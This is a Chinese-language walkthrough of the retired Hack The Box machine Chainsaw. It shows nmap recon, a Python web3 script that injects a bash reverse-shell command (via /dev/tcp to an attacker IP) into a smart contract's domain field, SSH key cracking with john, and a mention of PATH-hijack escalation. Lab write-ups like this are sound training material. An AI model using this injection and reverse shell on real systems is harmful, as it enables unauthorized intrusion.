HTB-靶机-Chainsaw

本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关

靶机是作者购买VIP使用退役靶机操作,显示IP地址为10.10.10.142

本次使用https://github.com/Tib3rius/AutoRecon 进行自动化全方位扫描

执行命令 autorecon 10.10.10.142 -o ./Chainsaw-autorecon

快速扫描
ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.142 | grep ^[0-9] | cut -d '/' -f 1 | tr '
' ',' | sed s/,$//)
nmap -sC -sV -p$ports 10.10.10.142

开放了3个端口,通过分析使用下面exploit直接反弹一个低权限shell

#!/usr/bin/python3

from web3 import Web3, HTTPProvider
import json

w3 = Web3(HTTPProvider('http://10.10.10.142:9810'))

w3.eth.defaultAccount = w3.eth.accounts[0]

toAddress = open("address.txt", "r").read().rstrip()

abi_json = json.loads(open("WeaponizedPing.json", "r").read())

abi = abi_json['abi']
contract = w3.eth.contract(abi = abi, address = toAddress)

print("Current Domain: {}".format(contract.functions.getDomain().call()))

malicious_domain = "qq.com ; bash -c 'bash -i >& /dev/tcp/10.10.14.3/8833 0>&1'"

contract.functions.setDomain(malicious_domain).transact()

print("New Domain: {}".format(contract.functions.getDomain().call()))

拿到反弹shell之后在当前目录下发现存在ipfs文件夹,通过遍历查看所有文件的内容得到一个base64编码的文件内容

ipfs refs local
循环读取文件内容
ipfs refs local | while read -r file; do ipfs ls $file 2>/dev/null; done

解码之后发现是个加密密钥文件,需要使用john进行破解

/usr/share/john/ssh2john.py bobby.key >hash
john hash -w=/usr/share/wordlists/rockyou.txt --fork=4

得到密码

jackychain       (bobby.key)

通过分析发现可以使用PATH劫持直接提权,具体参考文档:https://www.hackingarticles.in/linux-privilege-escalation-using-path-variable/

原文地址:https://www.cnblogs.com/autopwn/p/14267847.html